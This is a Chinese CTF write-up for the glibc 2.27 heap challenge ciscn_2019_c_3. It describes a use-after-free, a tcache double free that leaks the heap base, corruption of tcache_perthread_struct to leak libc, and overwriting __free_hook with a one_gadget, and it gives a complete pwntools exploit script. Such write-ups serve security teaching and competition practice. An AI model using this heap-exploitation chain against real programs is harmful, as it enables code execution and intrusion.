Ubuntu 18的堆题,需要考虑tcache机制。
checksec发现除了没有Full RELRO之外防护拉满,虽说只是Partial RELRO,但是因为开了PIE的缘故,不太好覆写got表(如果有大佬这样做的欢迎评论留言)。
这里还是选择打free_hook
这题只能申请0x60,0x100,0x4f三种大小的内存,并且下标最大为8
del里面有个大洞,没有堆块指针清零,存在UAF。
有个backdoor,可以让attack_times这个字段增加,增加次数取决于下标,这个字段正好是fd指针位置。
tcache涵盖了smallbin大小的堆块,无论申请什么大小的堆块,在将其释放后都会被放进tcache中进行管理。
tcache中的堆块用单向链表管理,几乎没有什么检查,可以直接double free。
但是tcache链中没有libc信息,需要想办法让free掉的堆块进入unsorted bin中才行。
思路:
1.利用tcache的double free,连续两次释放一个0x100的堆块,使其next指向自身,通过show()泄露堆基址(heapbase)。
2.利用backdoor将重新申请的堆块的next指针下移0x10,然后重新申请该堆块,在其name字段(+0x10偏移)处伪造堆块next指针为heapbase。
3.申请一次0x100,此时tcache中伪造的chunk被取出,现在tcache指向堆基址,即tcache_perthread_struct处,再次申请0x100,并填充数据覆盖tcache_perthread_struct的counts数组,使得0x100对应值为0x07(tcache链中堆块数最大值为7,这样接下来释放的等大小堆块将放进unsorted bin,用于泄露libc基址)。
同时覆盖entries数组,伪造0x70堆块(即申请0x60返回堆块)对应指针位置为heapbase+0x10,方便下一步在entries中写入free_hook。
4.释放一个之前申请的0x100并show出来,计算得到libc基址,free_hook地址,
onegadget地址。
5.申请0x60,由于entries被覆写,的到的堆块还是在tcache_perthread_struct中,再将entries0x70大小堆块的指针修改为free_hook.
6.再次申请0x60,这个堆块现在在free_hook处,修改free_hook为onegadget地址。
随便free一个堆块即可。
因为写name是写在0x10偏移的地方而不是在堆块内存区开头,free_hook写system地址的话,不太好办,还是打onegadget好一些。
exp:
from pwn import *
context.terminal=['tmux','splitw','-h']
#context.log_level='debug'
r=process('/home/wjc/Desktop/ciscn_2019_c_3')
#r=remote('node4.buuoj.cn',29773)
libc=ELF('/home/wjc/Desktop/BUUCTF/libc/libc-2.27_64.so')
def cmd(idx):
r.recvuntil('Command: ')
r.sendline(str(idx))
def Create(size,name):
cmd(1)
r.recvuntil('size: ')
r.sendline(str(size))
r.recvuntil('Give me the name: ')
if len(name)==size:
r.send(name)
else :
r.sendline(name)
def Show(idx):
cmd(2)
r.recvuntil('index: ')
r.sendline(str(idx))
def Del(idx):
cmd(3)
r.recvuntil('weapon:')
r.sendline(str(idx))
def Backdoor(idx):
cmd(666)
r.recvuntil('weapon:')
r.sendline(str(idx))
def exp():
Create(0x100,'/bin/sh\x00') #0
Create(0x100,'/bin/sh\x00') #1
Create(0x100,'/bin/sh\x00') #2
Create(0x100,'/bin/sh\x00') #3
Del(3)
Del(3)
Show(3)
r.recvuntil('attack_times: ')
tcache_perthread_struct=int(r.recvline()[:-1])-0x590
heapbase=tcache_perthread_struct
print('tcache_perthread_struct:',hex(tcache_perthread_struct))
for i in range(8):
Backdoor(3)
Create(0x100,p64(heapbase)) #4
Create(0x100,'\x02'*4) #5
Create(0x100,'\x07'*(0x40)+'\x00'*0x28+p64(heapbase+0x20)) #6
Del(0)
Show(0)
r.recvuntil('attack_times: ')
libcbase=int(r.recvline()[:-1])-0x3ebca0
print('libcbase:',hex(libcbase))
system_addr=libcbase+libc.symbols['system']
free_hook=libcbase+libc.symbols['__free_hook']
one_gadget=libcbase+0x4f322
print('free_hook',hex(free_hook))
Create(0x60,'\x00'*0x48+p64(free_hook-0x10))
Create(0x60,p64(one_gadget))
Show(0)
Del(0)
#gdb.attach(r)
exp()
r.interactive()
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)